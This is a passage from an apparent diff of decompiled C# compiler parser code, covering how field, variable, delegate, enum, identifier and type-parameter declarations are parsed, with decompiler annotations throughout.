(base.CurrentToken.Kind == SyntaxKind.DotToken) + { + eventToken = AddError(eventToken, ErrorCode.ERR_ExplicitEventFieldImpl); + } + return _syntaxFactory.EventFieldDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), eventToken, _syntaxFactory.VariableDeclaration(type, variables), EatToken(SyntaxKind.SemicolonToken)); + } + + private bool IsEndOfFieldDeclaration() + { + return base.CurrentToken.Kind == SyntaxKind.SemicolonToken; + } + + private SeparatedSyntaxList ParseFieldDeclarationVariableDeclarators(TypeSyntax type, VariableFlags flags, SyntaxKind parentKind) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + int num; + switch (parentKind) + { + case SyntaxKind.CompilationUnit: + num = (base.IsScript ? 1 : 0); + break; + default: + num = 1; + break; + case SyntaxKind.NamespaceDeclaration: + case SyntaxKind.FileScopedNamespaceDeclaration: + num = 0; + break; + } + bool variableDeclarationsExpected = (byte)num != 0; + SeparatedSyntaxListBuilder variables = _pool.AllocateSeparated(); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfFieldDeclaration; + ParseVariableDeclarators(type, flags, variables, variableDeclarationsExpected, allowLocalFunctions: false, stopOnCloseParen: false, default(SyntaxList), default(SyntaxList), out var _); + _termState = termState; + return _pool.ToListAndFree(ref variables); + } + + private void ParseVariableDeclarators(TypeSyntax type, VariableFlags flags, SeparatedSyntaxListBuilder variables, bool variableDeclarationsExpected, bool allowLocalFunctions, bool stopOnCloseParen, SyntaxList attributes, SyntaxList mods, out LocalFunctionStatementSyntax localFunction) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + variables.Add(ParseVariableDeclarator(type, flags, isFirst: true, allowLocalFunctions, attributes, mods, out localFunction)); + if (localFunction != null) + { + return; + } + while (base.CurrentToken.Kind != SyntaxKind.SemicolonToken && (!stopOnCloseParen || base.CurrentToken.Kind != SyntaxKind.CloseParenToken)) + { + if (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + variables.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + variables.Add(ParseVariableDeclarator(type, flags, isFirst: false, allowLocalFunctions: false, attributes, mods, out localFunction)); + } + else if (!variableDeclarationsExpected || SkipBadVariableListTokens(variables, SyntaxKind.CommaToken) == PostSkipAction.Abort) + { + break; + } + } + } + + private PostSkipAction SkipBadVariableListTokens(SeparatedSyntaxListBuilder list, SyntaxKind expected) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode startToken = null; + return SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken, (LanguageParser p, SyntaxKind _) => p.CurrentToken.Kind == SyntaxKind.SemicolonToken, expected); + } + + private static SyntaxTokenList GetOriginalModifiers(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode decl) + { + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + if (decl != null) + { + switch (decl.Kind()) + { + case SyntaxKind.FieldDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.FieldDeclarationSyntax)decl).Modifiers; + case SyntaxKind.MethodDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.MethodDeclarationSyntax)decl).Modifiers; + case SyntaxKind.ConstructorDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax)decl).Modifiers; + case SyntaxKind.DestructorDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax)decl).Modifiers; + case SyntaxKind.PropertyDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax)decl).Modifiers; + case SyntaxKind.EventFieldDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.EventFieldDeclarationSyntax)decl).Modifiers; + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax)decl).Modifiers; + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax)decl).Modifiers; + case SyntaxKind.DelegateDeclaration: + return ((Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax)decl).Modifiers; + } + } + return default(SyntaxTokenList); + } + + private static bool WasFirstVariable(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax variable) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (GetOldParent(variable) is Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax variableDeclarationSyntax) + { + return variableDeclarationSyntax.Variables[0] == variable; + } + return false; + } + + private static VariableFlags GetOriginalVariableFlags(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax old) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode oldParent = GetOldParent(old); + SyntaxTokenList originalModifiers = GetOriginalModifiers(oldParent); + VariableFlags variableFlags = (VariableFlags)0; + if (originalModifiers.Any(SyntaxKind.FixedKeyword)) + { + variableFlags |= VariableFlags.Fixed; + } + if (originalModifiers.Any(SyntaxKind.ConstKeyword)) + { + variableFlags |= VariableFlags.Const; + } + if (oldParent != null && (oldParent.Kind() == SyntaxKind.VariableDeclaration || oldParent.Kind() == SyntaxKind.LocalDeclarationStatement)) + { + variableFlags |= VariableFlags.LocalOrField; + } + return variableFlags; + } + + private static bool CanReuseVariableDeclarator(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax old, VariableFlags flags, bool isFirst) + { + if (old == null) + { + return false; + } + SyntaxKind syntaxKind; + if (flags == GetOriginalVariableFlags(old) && isFirst == WasFirstVariable(old) && old.Initializer == null && (syntaxKind = GetOldParent(old).Kind()) != SyntaxKind.VariableDeclaration) + { + return syntaxKind != SyntaxKind.LocalDeclarationStatement; + } + return false; + } + + private VariableDeclaratorSyntax ParseVariableDeclarator(TypeSyntax parentType, VariableFlags flags, bool isFirst, bool allowLocalFunctions, SyntaxList attributes, SyntaxList mods, out LocalFunctionStatementSyntax localFunction, bool isExpressionContext = false) + { + //IL_02de: Unknown result type (might be due to invalid IL or missing references) + //IL_02e3: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0309: Unknown result type (might be due to invalid IL or missing references) + //IL_030e: Unknown result type (might be due to invalid IL or missing references) + //IL_0312: Unknown result type (might be due to invalid IL or missing references) + //IL_0317: Unknown result type (might be due to invalid IL or missing references) + //IL_031b: Unknown result type (might be due to invalid IL or missing references) + //IL_0320: Unknown result type (might be due to invalid IL or missing references) + //IL_026f: Unknown result type (might be due to invalid IL or missing references) + //IL_0271: Unknown result type (might be due to invalid IL or missing references) + //IL_0250: Unknown result type (might be due to invalid IL or missing references) + //IL_0252: Unknown result type (might be due to invalid IL or missing references) + //IL_03a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0372: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && CanReuseVariableDeclarator(base.CurrentNode as Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax, flags, isFirst)) + { + localFunction = null; + return (VariableDeclaratorSyntax)(object)EatNode(); + } + if (!isExpressionContext) + { + using (GetDisposableResetPoint(resetOnDispose: true)) + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.IdentifierToken && !((GreenNode)parentType).IsMissing && parentType.GetLastToken().TrailingTrivia.Any(8539)) + { + GetDiagnosticSpanForMissingToken(out var offset, out var width); + EatToken(); + kind = base.CurrentToken.Kind; + bool flag = kind != SyntaxKind.EqualsToken && SyntaxFacts.IsBinaryExpressionOperatorToken(kind); + bool flag2 = ((kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.DotToken || kind == SyntaxKind.MinusGreaterThanToken) ? true : false); + if (flag2 || flag) + { + flag2 = ((kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.LessThanToken) ? true : false); + if (!flag2 || !IsLocalFunctionAfterIdentifier()) + { + SyntaxToken node = CreateMissingIdentifierToken(); + node = AddError(node, offset, width, ErrorCode.ERR_IdentifierExpected); + localFunction = null; + return _syntaxFactory.VariableDeclarator(node, null, null); + } + } + } + } + } + SyntaxToken syntaxToken = ParseIdentifierToken(); + BracketedArgumentListSyntax bracketedArgumentListSyntax = null; + EqualsValueClauseSyntax initializer = null; + TerminatorState termState = _termState; + bool flag3 = (flags & VariableFlags.Fixed) != 0; + bool flag4 = (flags & VariableFlags.Const) != 0; + bool flag5 = (flags & VariableFlags.LocalOrField) != 0; + if (!isFirst && IsTrueIdentifier()) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_MultiTypeInDeclaration); + } + SyntaxKind kind2 = base.CurrentToken.Kind; + if (kind2 <= SyntaxKind.EqualsToken) + { + if (kind2 == SyntaxKind.OpenParenToken) + { + if (allowLocalFunctions && isFirst) + { + localFunction = TryParseLocalFunctionStatementBody(attributes, mods, parentType, syntaxToken); + if (localFunction != null) + { + return null; + } + } + _termState |= TerminatorState.IsPossibleEndOfVariableDeclaration; + bracketedArgumentListSyntax = ParseBracketedArgumentList(); + _termState = termState; + bracketedArgumentListSyntax = AddError(bracketedArgumentListSyntax, ErrorCode.ERR_BadVarDecl); + goto IL_040a; + } + if (kind2 == SyntaxKind.EqualsToken) + { + goto IL_01d5; + } + } + else + { + if (kind2 == SyntaxKind.OpenBracketToken) + { + goto IL_02b4; + } + if (kind2 == SyntaxKind.LessThanToken && allowLocalFunctions && isFirst) + { + localFunction = TryParseLocalFunctionStatementBody(attributes, mods, parentType, syntaxToken); + if (localFunction != null) + { + return null; + } + } + } + goto IL_03d6; + IL_01d5: + if (flag3) + { + goto IL_03d6; + } + SyntaxToken equalsToken = EatToken(); + SyntaxToken syntaxToken2 = ((flag5 && !flag4 && base.CurrentToken.Kind == SyntaxKind.RefKeyword && !IsPossibleLambdaExpression(Precedence.Expression)) ? EatToken() : null); + ExpressionSyntax expressionSyntax = ParseVariableInitializer(); + initializer = _syntaxFactory.EqualsValueClause(equalsToken, (syntaxToken2 == null) ? expressionSyntax : _syntaxFactory.RefExpression(syntaxToken2, expressionSyntax)); + goto IL_040a; + IL_02b4: + _termState |= TerminatorState.IsPossibleEndOfVariableDeclaration; + bool sawNonOmittedSize; + ArrayRankSpecifierSyntax arrayRankSpecifierSyntax = ParseArrayRankSpecifier(out sawNonOmittedSize); + _termState = termState; + SyntaxToken openBracketToken = arrayRankSpecifierSyntax.OpenBracketToken; + SeparatedSyntaxList sizes = arrayRankSpecifierSyntax.Sizes; + SyntaxToken syntaxToken3 = arrayRankSpecifierSyntax.CloseBracketToken; + if (flag3 && !sawNonOmittedSize) + { + syntaxToken3 = AddError(syntaxToken3, ErrorCode.ERR_ValueExpected); + } + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + Enumerator enumerator = sizes.GetWithSeparators().GetEnumerator(); + while (enumerator.MoveNext()) + { + GreenNode current = enumerator.Current; + ExpressionSyntax expressionSyntax2 = current as ExpressionSyntax; + if (expressionSyntax2 != null) + { + bool flag6 = expressionSyntax2.Kind == SyntaxKind.OmittedArraySizeExpression; + if (!flag3 && !flag6) + { + expressionSyntax2 = AddError(expressionSyntax2, ErrorCode.ERR_ArraySizeInDeclaration); + } + val.Add(_syntaxFactory.Argument(null, null, expressionSyntax2)); + } + else + { + val.AddSeparator((GreenNode)(object)(SyntaxToken)(object)current); + } + } + bracketedArgumentListSyntax = _syntaxFactory.BracketedArgumentList(openBracketToken, _pool.ToListAndFree(ref val), syntaxToken3); + if (!flag3) + { + bracketedArgumentListSyntax = AddError(bracketedArgumentListSyntax, ErrorCode.ERR_CStyleArray); + if (base.CurrentToken.Kind == SyntaxKind.EqualsToken) + { + goto IL_01d5; + } + } + goto IL_040a; + IL_040a: + localFunction = null; + return _syntaxFactory.VariableDeclarator(syntaxToken, bracketedArgumentListSyntax, initializer); + IL_03d6: + if (flag4) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_ConstValueRequired); + } + else if (flag3) + { + if (parentType.Kind != SyntaxKind.ArrayType) + { + goto IL_02b4; + } + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_FixedDimsRequired); + } + goto IL_040a; + } + + private bool IsLocalFunctionAfterIdentifier() + { + bool flag; + using (GetDisposableResetPoint(resetOnDispose: true)) + { + ParseTypeParameterList(); + flag = !((GreenNode)ParseParenthesizedParameterList()).IsMissing; + if (flag) + { + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = ((kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.EqualsGreaterThanToken) ? true : false); + flag = flag2 || base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword; + } + flag = (flag ? true : false); + } + return flag; + } + + private bool IsPossibleEndOfVariableDeclaration() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.SemicolonToken || kind == SyntaxKind.CommaToken) + { + return true; + } + return false; + } + + private ExpressionSyntax ParseVariableInitializer() + { + if (base.CurrentToken.Kind != SyntaxKind.OpenBraceToken) + { + return ParseExpressionCore(); + } + return ParseArrayInitializer(); + } + + private bool IsPossibleVariableInitializer() + { + if (base.CurrentToken.Kind != SyntaxKind.OpenBraceToken) + { + return IsPossibleExpression(); + } + return true; + } + + private FieldDeclarationSyntax ParseConstantFieldDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers, SyntaxKind parentKind) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + modifiers.Add((GreenNode)(object)EatToken(SyntaxKind.ConstKeyword)); + TypeSyntax type = ParseType(); + return _syntaxFactory.FieldDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), _syntaxFactory.VariableDeclaration(type, ParseFieldDeclarationVariableDeclarators(type, VariableFlags.Const, parentKind)), EatToken(SyntaxKind.SemicolonToken)); + } + + private DelegateDeclarationSyntax ParseDelegateDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken delegateKeyword = EatToken(SyntaxKind.DelegateKeyword); + TypeSyntax returnType = ParseReturnType(); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfMethodSignature; + SyntaxToken identifier = ParseIdentifierToken(); + TypeParameterListSyntax typeParameterList = ParseTypeParameterList(); + ParameterListSyntax parameterList = ParseParenthesizedParameterList(); + SyntaxListBuilder val = default(SyntaxListBuilder); + if (base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword) + { + val = _pool.Allocate(); + ParseTypeParameterConstraintClauses(SyntaxListBuilder.op_Implicit(val)); + } + _termState = termState; + return _syntaxFactory.DelegateDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), delegateKeyword, returnType, identifier, typeParameterList, parameterList, _pool.ToListAndFree(val), EatToken(SyntaxKind.SemicolonToken)); + } + + private EnumDeclarationSyntax ParseEnumDeclaration(SyntaxList attributes, SyntaxListBuilder modifiers) + { + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken enumKeyword = EatToken(SyntaxKind.EnumKeyword); + SyntaxToken syntaxToken = ParseIdentifierToken(); + TypeParameterListSyntax typeParameterListSyntax = ParseTypeParameterList(); + if (typeParameterListSyntax != null) + { + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)typeParameterListSyntax); + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_UnexpectedGenericName); + } + BaseListSyntax baseList = null; + if (base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + SyntaxToken colonToken = EatToken(SyntaxKind.ColonToken); + TypeSyntax type = ParseType(); + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + val.Add((BaseTypeSyntax)_syntaxFactory.SimpleBaseType(type)); + baseList = _syntaxFactory.BaseList(colonToken, _pool.ToListAndFree(ref val)); + } + SeparatedSyntaxList members = default(SeparatedSyntaxList); + SyntaxToken semicolonToken; + SyntaxToken openToken; + SyntaxToken closeBraceToken; + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + semicolonToken = EatToken(SyntaxKind.SemicolonToken); + openToken = null; + closeBraceToken = null; + } + else + { + openToken = EatToken(SyntaxKind.OpenBraceToken); + if (!((GreenNode)openToken).IsMissing) + { + members = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBraceToken, (LanguageParser @this) => @this.IsPossibleEnumMemberDeclaration(), (LanguageParser @this) => @this.ParseEnumMemberDeclaration(), skipBadEnumMemberListTokens, allowTrailingSeparator: true, requireOneElement: false, allowSemicolonAsSeparator: true); + } + closeBraceToken = EatToken(SyntaxKind.CloseBraceToken); + semicolonToken = TryEatToken(SyntaxKind.SemicolonToken); + } + return _syntaxFactory.EnumDeclaration(attributes, SyntaxList.op_Implicit(modifiers.ToList()), enumKeyword, syntaxToken, baseList, openToken, members, closeBraceToken, semicolonToken); + static PostSkipAction skipBadEnumMemberListTokens(LanguageParser @this, ref SyntaxToken openBrace, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref openBrace, list, delegate(LanguageParser p) + { + SyntaxKind kind = p.CurrentToken.Kind; + return kind != SyntaxKind.CommaToken && kind != SyntaxKind.SemicolonToken && !p.IsPossibleEnumMemberDeclaration(); + }, (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + } + + private EnumMemberDeclarationSyntax ParseEnumMemberDeclaration() + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.EnumMemberDeclaration) + { + return (EnumMemberDeclarationSyntax)(object)EatNode(); + } + SyntaxList attributeLists = ParseAttributeDeclarations(inExpressionContext: false); + SyntaxToken identifier = ParseIdentifierToken(); + EqualsValueClauseSyntax equalsValue = null; + if (base.CurrentToken.Kind == SyntaxKind.EqualsToken) + { + ContextAwareSyntax syntaxFactory = _syntaxFactory; + SyntaxToken equalsToken = EatToken(SyntaxKind.EqualsToken); + SyntaxKind kind = base.CurrentToken.Kind; + bool flag = ((kind == SyntaxKind.CloseBraceToken || kind == SyntaxKind.CommaToken) ? true : false); + equalsValue = syntaxFactory.EqualsValueClause(equalsToken, flag ? ParseIdentifierName(ErrorCode.ERR_ConstantExpected) : ParseExpressionCore()); + } + return _syntaxFactory.EnumMemberDeclaration(attributeLists, default(SyntaxList), identifier, equalsValue); + } + + private bool IsPossibleEnumMemberDeclaration() + { + if (base.CurrentToken.Kind != SyntaxKind.OpenBracketToken) + { + return IsTrueIdentifier(); + } + return true; + } + + private bool IsDotOrColonColon() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.DotToken || kind == SyntaxKind.ColonColonToken) + { + return true; + } + return false; + } + + public NameSyntax ParseName() + { + return ParseQualifiedName(); + } + + private IdentifierNameSyntax CreateMissingIdentifierName() + { + return _syntaxFactory.IdentifierName(CreateMissingIdentifierToken()); + } + + private static SyntaxToken CreateMissingIdentifierToken() + { + return SyntaxFactory.MissingToken(SyntaxKind.IdentifierToken); + } + + private bool IsTrueIdentifier() + { + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken && !IsCurrentTokenPartialKeywordOfPartialMethodOrType() && !IsCurrentTokenQueryKeywordInQuery() && !IsCurrentTokenWhereOfConstraintClause()) + { + return true; + } + return false; + } + + private bool IsTrueIdentifier(SyntaxToken token) + { + if (token.Kind == SyntaxKind.IdentifierToken) + { + if (IsInQuery) + { + return !IsTokenQueryContextualKeyword(token); + } + return true; + } + return false; + } + + private IdentifierNameSyntax ParseIdentifierName(ErrorCode code = ErrorCode.ERR_IdentifierExpected) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.IdentifierName && !SyntaxFacts.IsContextualKeyword(((Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax)base.CurrentNode).Identifier.Kind())) + { + return (IdentifierNameSyntax)(object)EatNode(); + } + return SyntaxFactory.IdentifierName(ParseIdentifierToken(code)); + } + + private SyntaxToken ParseIdentifierToken(ErrorCode code = ErrorCode.ERR_IdentifierExpected) + { + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + if (IsCurrentTokenPartialKeywordOfPartialMethodOrType() || IsCurrentTokenQueryKeywordInQuery()) + { + SyntaxToken node = CreateMissingIdentifierToken(); + return AddError(node, ErrorCode.ERR_InvalidExprTerm, base.CurrentToken.Text); + } + SyntaxToken syntaxToken = EatToken(); + if (IsInAsync && syntaxToken.ContextualKind == SyntaxKind.AwaitKeyword) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_BadAwaitAsIdentifier); + } + return syntaxToken; + } + return AddError(CreateMissingIdentifierToken(), code); + } + + private bool IsCurrentTokenQueryKeywordInQuery() + { + if (IsInQuery) + { + return IsCurrentTokenQueryContextualKeyword; + } + return false; + } + + private bool IsCurrentTokenPartialKeywordOfPartialMethodOrType() + { + if (base.CurrentToken.ContextualKind == SyntaxKind.PartialKeyword && (IsPartialType() || IsPartialMember())) + { + return true; + } + return false; + } + + private TypeParameterListSyntax ParseTypeParameterList() + { + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind != SyntaxKind.LessThanToken) + { + return null; + } + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfTypeParameterList; + SyntaxToken openToken = EatToken(SyntaxKind.LessThanToken); + SeparatedSyntaxList parameters = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.GreaterThanToken, (LanguageParser @this) => @this.IsStartOfTypeParameter(), (LanguageParser @this) => @this.ParseTypeParameter(), skipBadTypeParameterListTokens, allowTrailingSeparator: false, requireOneElement: true, allowSemicolonAsSeparator: false); + _termState = termState; + return _syntaxFactory.TypeParameterList(openToken, parameters, EatToken(SyntaxKind.GreaterThanToken)); + static PostSkipAction skipBadTypeParameterListTokens(LanguageParser @this, ref SyntaxToken open, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref open, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken, (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind, expectedKind, closeKind); + } + } + + private bool IsStartOfTypeParameter() + { + if (IsCurrentTokenWhereOfConstraintClause()) + { + return false; + } + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken && PeekToken(1).Kind != SyntaxKind.CloseBracketToken) + { + return true; + } + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8361 <= SyntaxKind.List) + { + return true; + } + return IsTrueIdentifier(); + } + + private TypeParameterSyntax ParseTypeParameter() + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + if (IsCurrentTokenWhereOfConstraintClause()) + { + return _syntaxFactory.TypeParameter(default(SyntaxList), null, AddError(CreateMissingIdentifierToken(), ErrorCode.ERR_IdentifierExpected)); + } + SyntaxList val = default(SyntaxList); + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken && PeekToken(1).Kind != SyntaxKind.CloseBracketToken) + { + TerminatorState termState = _termState; + _termState = TerminatorState.IsEndOfTypeArgumentList; + val = ParseAttributeDeclarations(inExpressionContext: false); + _termState = termState; + } + ContextAwareSyntax syntaxFactory = _syntaxFactory; + SyntaxList attributeLists = val; + SyntaxKind kind = base.CurrentToken.Kind; + bool flag = kind - 8361 <= SyntaxKind.List; + return syntaxFactory.TypeParameter(attributeLists, flag ? EatToken() : null, ParseIdentifierToken()); + } + + private SimpleNameSyntax ParseSimpleName(NameOptions options = NameOptions.None) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + IdentifierNameSyntax identifierNameSyntax = ParseIdentifierName(); + if (((GreenNode)identifierNameSyntax.Identifier).IsMissing) + { + return identifierNameSyntax; + } + SimpleNameSyntax result = identifierNameSyntax; + if (base.CurrentToken.Kind == SyntaxKind.LessThanToken) + { + ScanTypeArgumentListKind scanTypeArgumentListKind; + using (GetDisposableResetPoint(resetOnDispose: true)) + { + scanTypeArgumentListKind = ScanTypeArgumentList(options); + } + if (scanTypeArgumentListKind == ScanTypeArgumentListKind.DefiniteTypeArgumentList || (scanTypeArgumentListKind == ScanTypeArgumentListKind.PossibleTypeArgumentList && (options & NameOptions.InTypeList) != NameOptions.None)) + { + SeparatedSyntaxListBuilder types = _pool.AllocateSeparated(); + ParseTypeArgumentList(out var open, types, out var close); + result = _syntaxFactory.GenericName(identifierNameSyntax.Identifier, _syntaxFactory.TypeArgumentList(open, _pool.ToListAndFree(ref types), close)); + } + } + return result; + } + + private ScanTypeArgumentListKind ScanTypeArgumentList(NameOptions options) + { + if (base.CurrentToken.Kind != SyntaxKind.LessThanToken) + { + return ScanTypeArgumentListKind.NotTypeArgumentList; + } + if ((options & NameOptions.InExpression) == 0) + { + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + } + if (ScanPossibleTypeArgumentList(out var _, out var isDefinitelyTypeArgumentList) == ScanTypeFlags.NotType) + { + return ScanTypeArgumentListKind.NotTypeArgumentList; + } + if (isDefinitelyTypeArgumentList) + { + return ScanTypeArgumentListKind.DefiniteTypeArgumentList; + } + switch (base.CurrentToken.Kind) + { + case SyntaxKind.CaretToken: + case SyntaxKind.OpenParenToken: + case SyntaxKind.CloseParenToken: + case SyntaxKind.CloseBraceToken: 